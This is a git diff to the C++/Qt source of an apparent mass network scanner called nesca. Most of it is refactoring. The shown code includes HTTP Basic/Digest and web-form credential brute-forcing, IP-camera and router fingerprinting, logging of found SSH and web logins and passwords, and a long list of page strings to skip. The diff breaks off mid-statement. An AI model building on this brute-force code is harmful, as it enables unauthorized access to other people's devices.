b/Utils.cpp @@ -1,10 +1,11 @@ #include <Utils.h> char *getSystemProxy() { - + return ""; } int Utils::getProxyPort() { + return 0; } char * Utils::getProxy() { @@ -12,4 +13,5 @@ char * Utils::getProxy() { #else getSystemProxy(); #endif + return ""; } diff --git a/Utils.h b/Utils.h index d5201b1..647bde6 100644 --- a/Utils.h +++ b/Utils.h @@ -4,14 +4,20 @@ #include <iostream> #include <algorithm> +using namespace std; + template<typename charT> struct my_equal { - my_equal( const std::locale loc ) : loc_(loc) {} + my_equal( const locale loc ) : loc_(loc) {} bool operator()(charT ch1, charT ch2) { - return std::toupper(ch1, loc_) == std::toupper(ch2, loc_); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + return toupper(ch1) == toupper(ch2); +#else + return toupper(ch1, loc_) == toupper(ch2, loc_); +#endif } private: - const std::locale& loc_; + const locale& loc_; }; class Utils { @@ -19,7 +25,7 @@ public: // find substring (case insensitive) template<typename T> static int ci_find_substr(const T& str1, const T& str2, - const std::locale& loc = std::locale()) { + const locale& loc = locale()) { auto it = std::search(str1.begin(), str1.end(), str2.begin(), str2.end(), my_equal<typename T::value_type>(loc)); diff --git a/WebformWorker.h b/WebformWorker.h index 33efaef..b01fd95 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -1,12 +1,12 @@ #ifndef WEBFORMWORKER_H #define WEBFORMWORKER_H -#include <mainResources.h> -#include <externData.h> -#include <externFunctions.h> #include <Utils.h> #include "STh.h" #include "Connector.h" +#include <mainResources.h> +#include <externData.h> +#include <externFunctions.h> class WFClass { diff --git a/connector_old.cpp b/connector_old.cpp index f64cc0c..0d3140f 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -270,10 +270,10 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port) if(ptrStart != NULL) { if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; - ptrS1End = _findFirst(ptrStart, "\""); +// ptrS1End = _findFirst(ptrStart, "\""); if(ptrS1End != NULL) { - ptrS2End = _findFirst(ptrS1End + 1, "\""); +// ptrS2End = _findFirst(ptrS1End + 1, "\""); if(ptrS2End != NULL) { int sz = ptrS2End - ptrS1End - 1; @@ -599,7 +599,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) { ZeroMemory(attribute, sizeof(attribute)); - strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); +// strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); ZeroMemory(nonce, sizeof(nonce)); strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); ZeroMemory(realm, sizeof(realm)); @@ -888,7 +888,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(strstr(recvBuff, "Set-Cookie:") != NULL) { ZeroMemory(cookie, COOKIE_MAX_SIZE); - strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); +// strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); cookieLen = strlen(cookie); }; }; diff --git a/externFunctions.h b/externFunctions.h index 2cb8cf9..9284c7e 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -1,3 +1,6 @@ +#ifndef EF_H +#define EF_H + extern std::string toLowerStr(const char *str); extern int recvS(int lSock, char *recvBuffT, int len); extern int sendS(int lSock, char *msg, int len, int mode); @@ -9,11 +12,12 @@ extern void BConDec(); extern QString GetNSErrorDefinition(const char *str, const char *defin); extern void _SaveBackupToFile(); extern char* strstri(const char *_Str, const char *_SubStr); -extern char* _getAttribute(char *str, char *attrib); -extern char *_findFirst(char *str, char *delim); extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern void _SaveBackupToFile(); //extern int nConnect(char *ip, int port, std::string *buffer); + + +#endif // EF_H diff --git a/finder.cpp b/finder.cpp index 6e20675..9e1f868 100644 --- a/finder.cpp +++ b/finder.cpp @@ -23,7 +23,7 @@ char* strstri(const char *_Str, const char *_SubStr) } bool gGlobalTrackLocked = false; -char *_findFirst(char *str, char *delim) +char *_findFirst(const char *str, char *delim) { int sz = strlen(str); int dsz = strlen(delim); @@ -54,8 +54,7 @@ char *_findLast(char *str, char *delim) return (char *)(str + savedPosition); } - -char *GetCodePage(char *str) +char *GetCodePage(const char *str) { char cdpg[32] = {0}; char *ptr1 = strstri(str, "<meta "); @@ -186,8 +185,6 @@ char *GetCodePage(char *str) int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) { - if(strlen(buffcpy) == 0) return -1; - char negWord[256] = {0}; for(int i = 0; i < GlobalNegativeSize; i++) { @@ -435,7 +432,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) return 3; //Suspicious } -int ContentFilter(char *buff, int port, char *ip, char *cp) +int ContentFilter(const char *buff, int port, char *ip, char *cp) { if(buff != NULL) { @@ -910,6 +907,9 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char log[512] = {0}; ++PieWF; + + sprintf(log, "[WF]:<span id=\"hostSpan\"><a href=\"http://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font> Pass: <font color=SteelBlue>%s:%s</font>\n" + , ip, port, ip, port, finalstr, login, pass); strcpy(log, "[WF]:"); strcat(log, "<span id=\"hostSpan\"><a href=\"http://"); @@ -1069,7 +1069,7 @@ std::vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(ar static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"}; std::vector<std::string> vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); -char *_getAttribute(char *str, char *attrib) +char *_getAttribute(const char *str, char *attrib) { if(strstri(str, attrib) != NULL) { @@ -1347,11 +1347,12 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int ZeroMemory(temp, sizeof(temp)); } -const char *GetTitle(char* str) +const char *GetTitle(const char* str) { char delimiterT[] = "<title id=titletext>"; char delimiterT2[] = "<title id=\"title\">"; - char *firstStr, *secondStr, finalstr[512] = {0}; + const char *firstStr, *secondStr; + char finalstr[512] = { 0 }; if (strstri(str, "realm") != NULL) { @@ -1462,7 +1463,7 @@ const char *GetTitle(char* str) return finalstr; } -void _saveSSH(char *ip, int port, int recd, char *buffcpy) +void _saveSSH(char *ip, int port, int recd, const char *buffcpy) { if(buffcpy != NULL) { @@ -1471,7 +1472,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) char goodStr[256] = {0}; char banner[256] = {0}; - char *ptr1 = strstr(buffcpy, "|+|"); + const char *ptr1 = strstr(buffcpy, "|+|"); if(ptr1 != NULL) { int gsz = ptr1 - buffcpy; @@ -1482,31 +1483,15 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner); sprintf(logEmit, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port); -// strcpy(log, "[SSH] <font color=\"#00a8ff\">"); -// strcat(log, goodStr); -// strcat(log, ":"); -// strcat(log, itoa(port, b, 10)); -// strcat(log, "</font>"); -// strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">"); -// strcat(log, banner); -// strcat(log, "</font>"); - ++PieSSH; -// strcpy(logEmit, "[SSH] "); -// strcat(logEmit, "<span style=\"color: #00a8ff;\">"); -// strcat(logEmit, goodStr); -// strcat(logEmit, ":"); -// strcat(logEmit, itoa(port, b, 10)); -// strcat(logEmit, "</span>"); - fputsf (log, -22, "SSH"); char loginSSH[128] = {0}; char passSSH[128] = {0}; - char *ptrl1 = strstr(buffcpy, ":"); + const char *ptrl1 = strstr(buffcpy, ":"); int lpsz = ptrl1 - buffcpy; strncpy(loginSSH, buffcpy, lpsz); - char *ptrl2 = strstr(buffcpy, "@"); + const char *ptrl2 = strstr(buffcpy, "@"); lpsz = ptrl2 - ptrl1; strncpy(passSSH, ptrl1 + 1, lpsz); fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); @@ -1523,9 +1508,8 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) }; } -int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) +int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) { - if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) { std::string sshBuff; @@ -1596,7 +1580,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * sprintf(port, "%d", p); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); - if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; + if(flag == -1 || flag == 6) return -1; if(flag == 16) { @@ -2012,7 +1996,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2040,7 +2023,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2133,7 +2115,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2162,7 +2143,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2210,7 +2190,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -2; @@ -2240,7 +2219,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2282,7 +2260,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag == -1) { ps->flag = -1; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, tempPath); return -1; @@ -2458,7 +2435,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int }; } -void _getJSCookie(char *dataBuff, char *str, char *ip, int port) +void _getJSCookie(char *dataBuff, const char *str, char *ip, int port) { char *ptr1 = strstri(str, "document.cookie"); if(ptr1 != NULL) @@ -2480,36 +2457,11 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port) }; } -int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) +int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) { std::string redirectStr = ""; if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE); - -#pragma region Prechecks - if(strstr(str, "[IGNR_ADDR]") != NULL) - { - if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::Precheck."); - strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, "/"); - return 0; - }; - strcpy(ps->codepage, GetCodePage(str)); - - if(strstr(str, "[CONN_LOWLOAD_OMG]") != NULL) - { - strcpy(ps->headr, "[CONN_LOWLOAD_OMG]"); - strcpy(ps->path, "/"); - return 0; - }; - - if(strlen(str) == 0) - { - strcpy(ps->headr, "[No data!]"); - strcpy(ps->path, "/"); - return 0; - }; - char finalstr[512] = {0}; if(strstri(str, "notice auth :*** looking up your hostname...") @@ -2520,7 +2472,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->path, "/"); return 1; }; - if((strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL + if((strstri(str, "ip camera") != NULL || strstr(str, "+tm01+") != NULL || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL @@ -2533,171 +2485,31 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: && strstr(str, "contac") == NULL && strstr(str, "company") == NULL ) - { - strcpy(ps->headr, "[IP Camera detected]"); + { + if (strstr(str, "CgiStart?page=Single") != NULL) { + strcpy(ps->headr, "[IP Camera (Unibrowser)]"); + } + else { + strcpy(ps->headr, "[IP Camera]"); + } l->flag = 0; ps->flag = 0; }; - if(strstri(str, "get_status.cgi") != NULL) - { strcpy(ps->headr, "[It may be ip camera]"); }; + if(strstri(str, "get_status.cgi") != NULL) strcpy(ps->headr, "[It may be ip camera]"); if(strstri(str, "vo_logo.gif") != NULL || strstri(str, "vo logo.gif") != NULL - ) - { strcpy(ps->headr, "[VIVOTEK camera detected?]"); }; + ) strcpy(ps->headr, "[VIVOTEK camera detected?]"); + if(strstri(str, "$lock extended") != NULL) - { strcpy(ps->headr, "[DChub detected.]"); strcpy(ps->path, "/"); return 0; }; + { + strcpy(ps->headr, "[DChub detected.]"); + strcpy(ps->path, "/"); + return 0; + }; if(strstri(str, "top.htm?currenttime") != NULL || strstri(str, "top.htm?") != NULL - ) strcat(finalstr, " [?][SecCam detected]"); - - -#pragma region 302 Redirects - if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL - || strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL - || strstri(str, "http/1.0 307") != NULL || strstri(str, "http/1.1 307") != NULL - || strstri(str, "303 see other") != NULL - ) - { - char *temp = NULL, *temp2 = NULL; - int res = 127; - if(strstri(str, "location: ") != NULL) - { - temp = strstri(str, "location: "); - if( strstr(temp + 10, "\r\n") != NULL ) temp2 = strstr(temp + 10, "\r\n"); - else if( strstr(temp + 10, "\n") != NULL ) temp2 = strstr(temp + 10, "\n"); - - if(temp2 != NULL) - { - res = temp2 - temp - 10; - char newLoc[256] = {0}; - char *tmp = strstr(temp, "/"); - - if(tmp != NULL) - { - strncat(newLoc, temp + 10, res < 256 ? res : 255); - if(strstri(newLoc, "http://") == NULL && strstri(newLoc, "https://") == NULL) - { - if(newLoc[0] != '.') - { - if(newLoc[0] != '/') - { - int sz = strlen(newLoc); - if (sz > 255) - { - stt->doEmitionRedFoundData("Huge redirect string detected! " + QString(ip) + ":" + QString::number(port)); - sz = 255; - }; - char tnewLoc[256] = {0}; - strcpy(tnewLoc, "/"); - strncat(tnewLoc, newLoc, sz); - strncpy(newLoc, tnewLoc, sz); - }; - }; - }; - redirectStr = std::string(newLoc); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); - } return -1; - return -2; - }; - }; - } - else if(strstri(str, "location:") != NULL) - { - temp = strstri(str, "location:"); - if( strstr(temp + 9, "\r\n") != NULL ) temp2 = strstr(temp + 9, "\r\n"); - else if( strstr(temp + 9, "\n") != NULL ) temp2 = strstr(temp + 9, "\n"); - - if(temp != NULL) - { - res = temp2 - temp - 9; - char newLoc[128] = {0}; - char *tmp = strstr(temp, "/"); - - if(tmp != NULL) - { - strncat(newLoc, temp + 9, res < 128 ? res : 127); - redirectStr = std::string(newLoc); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); - } return -1; - return -2; - }; - }; - }; - }; - - if(strstri(str, "http-equiv=\"refresh\"") != NULL - || strstri(str, "http-equiv=refresh") != NULL - || strstri(str, "http-equiv='refresh'") != NULL - ) - { - char *temp = NULL; - char *strTmp = NULL; - - if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "ttp-equiv=\"refresh\""); - else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); - else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); - - if(strstri(strTmp, "url=") != NULL ) - { - if((int)(strstri(strTmp, "url=") - strTmp) < 100) - { - temp = strstri(strTmp, "url="); - - char *temp2 = NULL, temp3[128] = {0}; - int sz = 0; - - if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') - { - temp2 = _findFirst(temp + 6, " \n>\"'"); - if(temp2 != NULL) - { - sz = (int)(temp2 - temp) - 5; - strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127)); - }; - } - else - { - temp2 = _findFirst(temp + 4, " \n>\"'"); - if(temp2 != NULL) - { - sz = (int)(temp2 - temp) - 4; - strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127); - }; - }; - if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) - { - if(temp3[0] != '.') - { - if(temp3[0] != '/') - { - char temp4[128] = {0}; - strcpy(temp4, "/"); - strncat(temp4, temp3, 127); - strncpy(temp3, temp4, 128); - }; - }; - }; - redirectStr = std::string(temp3); - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); - } return -1; - strcat(ps->headr, " "); - return -2; - }; - strcat(ps->headr, finalstr); - strcat(ps->headr, " "); - return 0; - }; - }; + ) strcat(finalstr, " [?][SecCam detected]"); if(strstri(str, "<script") != NULL) { @@ -2706,9 +2518,11 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: ZeroMemory(ps->cookie, sizeof(ps->cookie)); _getJSCookie(ps->cookie, str, ip, port); }; + char *ptr1 = strstri(str, "<script"); char *ptr2 = NULL; char linkPtr[512] = {0}; + do { ZeroMemory(linkPtr, 512); @@ -2798,7 +2612,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; - if(strstri(str, "ActiveXObject") != NULL || strstri(str, ".cab") != NULL || strstri(str, "clsid:") != NULL @@ -2806,6 +2619,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { strcat(ps->headr, "[ActiveX]"); }; + if(strstri(str, "<applet") != NULL && strstri(str, ".jar") != NULL ) @@ -2823,7 +2637,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(strstri(str, "<frameset") != NULL || strstri(str, "<frame") != NULL || strstri(str, "<iframe") != NULL) { - char *str1 = str; + const char *str1 = str; char *str2 = NULL; char lol[128] = {0}; int AreaLen = 0; @@ -2899,7 +2713,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { redirStrLst->push_back(redirectStr); return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst, rBuff); - } return -1; + }; } else { @@ -2919,7 +2733,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: } else { - stt->doEmitionRedFoundData("[FrameLocator] Corrupted tag! [" + QString(ip) +":" + QString::number(port) + "]"); + stt->doEmitionRedFoundData("[FrameLocator] Corrupted tag. [" + QString(ip) +":" + QString::number(port) + "]"); }; }; } @@ -2993,7 +2807,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(strstr(str, "\r\n\r\n") != NULL) { - char *tempStr = strstr(str, "\r\n\r\n"); + const char *tempStr = strstr(str, "\r\n\r\n"); if(strlen(tempStr) - 4 >= 250) { if(strstr(str, "Content-Encoding: gzip") != NULL) @@ -3024,7 +2838,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; ++Filt; - strcpy(ps->headr, "[IGNR_ADDR]"); strcpy(ps->path, "/"); return 0; }; @@ -3036,6 +2849,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcat(ps->headr, "]"); }; }; + ps->flag = ContentFilter(str, port, ip, ps->codepage); if(strstri(str, "window.open(") != NULL) diff --git a/main.cpp b/main.cpp index 744d5fb..f29faa1 100644 --- a/main.cpp +++ b/main.cpp @@ -1,22 +1,7 @@ #include "nesca_3.h" #include <QApplication> #include <qfontdatabase.h> -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -#include <windows.h> -#endif -//--Fixing _ITERATOR_DEBUG_LEVEL 0!=2 -//#if defined(Q_OS_WIN32) -//int WINAPI WinMain(HINSTANCE hInstance, -// HINSTANCE hPrevInstance, LPSTR lpcmdline, int ncmdshow) -//{ -// QApplication a(ncmdshow, (char **)lpcmdline); -//#else -//int main(int argc, char *argv[]) -//{ -// QApplication a(argc, argv); -//#endif -//#if defined(Q_OS_WIN32) int main(int argc, char *argv[]) { QApplication a(argc, argv); @@ -37,8 +22,7 @@ int main(int argc, char *argv[]) } } } - -//#endif + nesca_3 *gui = new nesca_3(); gui->showNormal(); diff --git a/mainResources.h b/mainResources.h index e92283d..6aa3ab2 100644 --- a/mainResources.h +++ b/mainResources.h @@ -3,9 +3,9 @@ #include <libssh/libssh.h> #include <openssl/ssl.h> +#include <vector> #include <curl/curl.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -#pragma once #include "iostream" #include <time.h> #include <process.h> @@ -13,7 +13,6 @@ #else #include <string> #include <iostream> -#include <vector> #include <stdio.h> #include <stdlib.h> #include <unistd.h> @@ -129,12 +128,12 @@ class Lexems int _header(char *ip, int port, - char str[], + const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff); - int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); + int _filler(int p, const char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); int globalSearchNeg(const char *buffcpy, char *ip, int port); }; diff --git a/negatives.txt b/negatives.txt index 8ad9782..5d96ffe 100644 --- a/negatives.txt +++ b/negatives.txt @@ -1,13 +1,39 @@ -yadro.ru +Adapto CMS +баланс +средств +на вашем счету +абонент +RFB 009 +00;39;49mroot: Authorization Required -Firewall Authentication required before +.swf +yadro.ru liveinternet #[Dlink] +DIR-100 +DIR-615 +DIR-140 session_login.php?reload=1 +Firewall Authentication required before +Piolink Web +You are not welcome to use +Permission error +sample.org +421 FTP connection refused +No HTTP resource was found +RTDVR ActiveX D-RMS +command not understood +baZsDJAabybWQby +report abuse atwiki studio McMyAdmin +500 Syntax error +Starting WebDVR +530 Connection refused +I can break rules, too +this system is engaged Aviso de Bloqueio Servico nao disponivel Content-Encoding: gzip @@ -73,8 +99,10 @@ MELOOK /welcome/ application/x-shockwave-flash /customer +e-Learn /esi.cgi?page=status-index.xml /guarantee +.ac.jp /html/index.asp /iisstart.asp /images/final-hp @@ -92,6 +120,7 @@ application/x-shockwave-flash site introuvable shop sell +test server /company /brand /signin @@ -360,7 +389,12 @@ customer is functioning normally is under construction ispmanager control panel -it works +it work +error404 +404err +error500 +500err +407 Proxy ibm websphere is now configured is currently undergoing @@ -441,6 +475,7 @@ olvido su password oncell warning one time payment one web server +Welcome to nginx online dating online store oracle application server @@ -454,6 +489,7 @@ Directory Listing Denied page=about pagerrorimg pagos +CodeIgniter parkerad parking. paradox ip module @@ -592,8 +628,17 @@ sww link synology taobao TopPageFinder.com +Sun Microsystems, Inc +421 Service is unavailable +404 Page not found +Echo Service +CareerVision teamportal teamviewer +AW+ GUI Applet +Technotree Web +SI-TEC +desknet technical support teles.igate tellion @@ -601,6 +646,8 @@ tell tell. TEL( fax( +Web Management Login +IBM HTTP Server no server available tell: tell : @@ -612,6 +659,8 @@ tel : tel: tel? tel ? +tel) +AirLibro fax? fax ? termos de uso @@ -706,7 +755,19 @@ www.ibm.com www.lacie.com www.sedo.com xenserver +CommuniGate Pro +MACROSCOP +Бухгалтер +бюджет +Welcome to WildFly +Welcome to jboss +VoIP Router +Can't connect to xfinity +строй +строит +VoIP Telephone +This site requires JavaScript xtreamer yahoo you are not logged in @@ -721,20 +782,23 @@ wkrotce архив новостей в стадии разработки в разработке +фильм +film +Не удается отобразить страницу +page does not exist права защищены -дача -даче -дешевы -дешёвы +дач +дешев +дешёв +pm2-web домен продается домены на продажу доставка заказать доставку заработок в сети знакомства -истек срок регистрации +истек срок карикатуры -код регистрации конкурс контакты кухни @@ -745,24 +809,29 @@ wkrotce мода мы предоставляем на реконструкции +позже найти работу находится в разработке наш баннер -наша компания +компани низкие цены +Некорректный URL +Невозможно подключиться новый адрес -о компании +магаз о нас остев партнерк перевод текстов перееха персональный сайт -пиши мне -пиши нам -пишите мне -пишите нам -подержанные +пиши +подержан +отключен +профилактические работы +временные неудобства +Неверный ключ +Seo подписаться поиск работы приколы @@ -791,6 +860,21 @@ wkrotce технические работы услуги флешки +Произошла ошибка +на хостинге +Fatal error: +mc.yandex.ru/watch +mc.yandex.ru/metrika +UNKNOWN HOST +host not found +Сайт закрыт +?partner +хокке + +добро пожаловать в +статусы +высказывани + флэшки футбол юмор diff --git a/nesca_3.cpp b/nesca_3.cpp index ce941c6..a2900e2 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -35,8 +35,6 @@ int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); #define WIDGET_WIDTH 500 //#define IRC_CHAN "iskopasi_lab01" - - bool utfIRCFlag = true; bool HTMLDebugMode = false; bool code160 = false; @@ -151,15 +149,11 @@ QVector<int> vLowlLst; QVector<int> vBALst; QVector<int> vSSHLst; QVector<int> vOvrlLst; -QVector<QPointF> vect; QMenu *menuPS; QVector<QRect> NodeDots; QVector<QString> NodeAddrs; - -int u = 1; - const nesca_3 *gthis; bool BALogSwitched = false; bool widgetIsHidden = false; @@ -171,8 +165,6 @@ QList<QString> PhraseLog; bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; Ui::nesca_3Class *ui = new Ui::nesca_3Class; - - void setSceneArea() { delete ui->graphicsVoice; @@ -193,6 +185,15 @@ void setSceneArea() sceneUpper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); sceneGrid->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); + QLinearGradient gradient(0, 0, 0, 94); + gradient.setColorAt(0, QColor(255, 0, 0)); + gradient.setColorAt(0.7, QColor(255, 0, 0)); + gradient.setColorAt(0.85, QColor(255, 255, 0)); + gradient.setColorAt(0.9, QColor(0, 255, 0)); + gradient.setColorAt(1, QColor(255, 255, 255, 60)); + pen2i.setBrush(gradient); + sceneGraph->setItemIndexMethod(QGraphicsScene::NoIndex); + sceneActivity = new QGraphicsScene(); sceneActivityGrid = new QGraphicsScene(); sceneTextPlacer = new QGraphicsScene(); @@ -740,41 +741,44 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) }; } + void nesca_3::slotAddPolyLine() { - sceneGraph->setItemIndexMethod(QGraphicsScene::NoIndex); if(ME2ScanFlag) { QPainterPath path; - if(vect.size() > 0) + if (DrawerTh_ME2Scanner::polyVect.size() > 0) { - path.moveTo(vect[0]); - for(int i = 1; i < vect.size(); ++i) + path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); + for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.count(); ++i) { - path.lineTo(vect[i]); + path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); }; }; QGraphicsPathItem* itm = new QGraphicsPathItem(path); itm->setPen(pen2i); - sceneGraph->addItem(itm); + DrawerTh_ME2Scanner::itmList.push_front(itm); - double uu = 0.0; - int vSz = sceneGraph->items().count(); - for(int i = 0; i < vSz; ++i) + int u = 0; + double uu = 1.0; + for (int i = 0; i < DrawerTh_ME2Scanner::itmList.count(); ++i) { - sceneGraph->items()[i]->setY(u + i + 1); - sceneGraph->items()[i]->setOpacity(0 + uu); - uu += 0.027; - u += 1; + itm = DrawerTh_ME2Scanner::itmList[i]; + int y = u - i - 1; + itm->setY(y); + itm->setOpacity(uu); + sceneGraph->addItem(itm); + uu -= 0.027; + u -= 1; }; - while(sceneGraph->items().count() > 38) + while (DrawerTh_ME2Scanner::itmList.count() > 38) { - sceneGraph->removeItem(sceneGraph->items().first()); + sceneGraph->removeItem(DrawerTh_ME2Scanner::itmList[38]); + delete 